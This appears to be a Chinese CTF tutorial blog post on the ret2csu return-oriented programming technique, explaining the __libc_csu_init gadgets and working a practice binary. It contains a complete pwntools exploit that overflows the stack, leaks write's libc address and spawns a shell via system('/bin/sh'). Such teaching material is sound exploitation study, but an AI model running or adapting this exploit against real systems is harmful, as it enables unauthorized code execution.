0%

ret2csu

ret2csu的知识点

(1)ret2csu的概念

ret2csu是一种利用__libc_csu_init函数中的gadget进行ROP链构造的技术,主要用于控制寄存器参数,特别是当程序中缺少足够的gadgets时。这个函数在动态链接的程序中普遍存在,所以适用性较广。当我们做题时我们会发现有些gadget不存在这时我们就可以用ret2csu这种方法

(2)__libc_csu_init函数

__libc_csu_init有两部分我们把这两部分叫gadget2gadget1

image-20250209163723325

下面这一部分gadget1

1
2
3
4
5
6
7
8
9
.text:0000000000400716 loc_400716:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400716 add rsp, 8
.text:000000000040071A pop rbx
.text:000000000040071B pop rbp
.text:000000000040071C pop r12
.text:000000000040071E pop r13
.text:0000000000400720 pop r14
.text:0000000000400722 pop r15
.text:0000000000400724 retn

可以看到是将数据弹入到rbx、rbp、r12、r13、r14、r15这六个寄存器中,这样我们就不用找gadget,更重要的是gadget2

上面一部分是gadget2

1
2
3
4
5
6
7
8
.text:0000000000400700 loc_400700:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400700 mov rdx, r13
.text:0000000000400703 mov rsi, r14
.text:0000000000400706 mov edi, r15d
.text:0000000000400709 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040070D add rbx, 1
.text:0000000000400711 cmp rbx, rbp
.text:0000000000400714 jnz short loc_400700

可以看到是将r13寄存器的值赋值给rdx,r14赋值给rsi,r15赋值给rdi,然后调用函数,这里的rbx是索引寄存器**(设置为0,将r12设置为调用函数的got表地址)*,再往后rbx的值加1,比较rbxrbp的值,如果rbx不等于 rbp,就跳转到loc_400700处,继续循环,为了避免继续循环我们将rbp的值设置为1,这样就可以跳出循环,继续往下执行也就是gadgets1loc_400716处,如果不需要再一次控制参数的话,那我们此时把栈中的数据填充56(78)个垃圾数据即可

注:

1.如何不执行call

如果我们仅仅利用__libc_csu_init函数去控制参数,而并不想去用call执行,我们可以call一个空函数(不需要参数,执行之后也不会对程序本身造成任何影响的函数)_term_proc函数(call的是指向_term_proc的地址,不是term_proc的地址)

2.如何控制rax的值?(修改rax进行系统调用)

这里就非常巧妙了,可以利用writeread的返回值

如果读取或写入成功就会将read函数和write函数实际读到和写入的字节数存入rax中,这样就达到了控制rax的值

如果错误会返回-1,存入errno

例题

ida:

1
2
3
4
5
6
7
ssize_t x64_ret2libc()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

write(1, "Welcome to x64_ret2csu\n", 0x17uLL);
return read(0, buf, 300uLL);
}

read可以栈溢出(0x80+0x8)

思路:

通过栈溢出到gadget1,设值write的参数,返回值设置为gadget2,调用write,打印出writegot表地址,接下来套用模板就可以

rbx rbp r12 r13(rdx) r14(rsi) r15(rdi)
0 1 write_got 8 write_got 1

gadget1:0x400716

gadget2:0x400700

main:0x040065b

pop_rdi :0x400723

ret = 0x4004c9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./ret2csu')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process('./ret2csu')
gadget1 = 0x400716
gadget2 = 0x400700
write_got = elf.got['write']
main = 0x040065b
pop_rdi = 0x400723
ret = 0x4004c9
rbx = 0
rbp = 1
r12 = write_got
r13 = 8
r14 = write_got
r15 = 1
payload = b'a'*(0x80+0x8)
payload += p64(gadget1)
payload += p64(ret)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(gadget2)
payload += p64(0)*7
payload += p64(main)
p.recvuntil(b"Welcome to x64_ret2csu\n")
p.send(payload)
write_addr = u64(p.recv(8))
print(hex(write_addr))
libc_base = write_addr - libc.sym['write']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a'*(0x80+8) +p64(pop_rdi) + p64(bin_sh) + p64(system)
p.sendlineafter(b"Welcome to x64_ret2csu\n",payload)
p.interactive()
// 在最后添加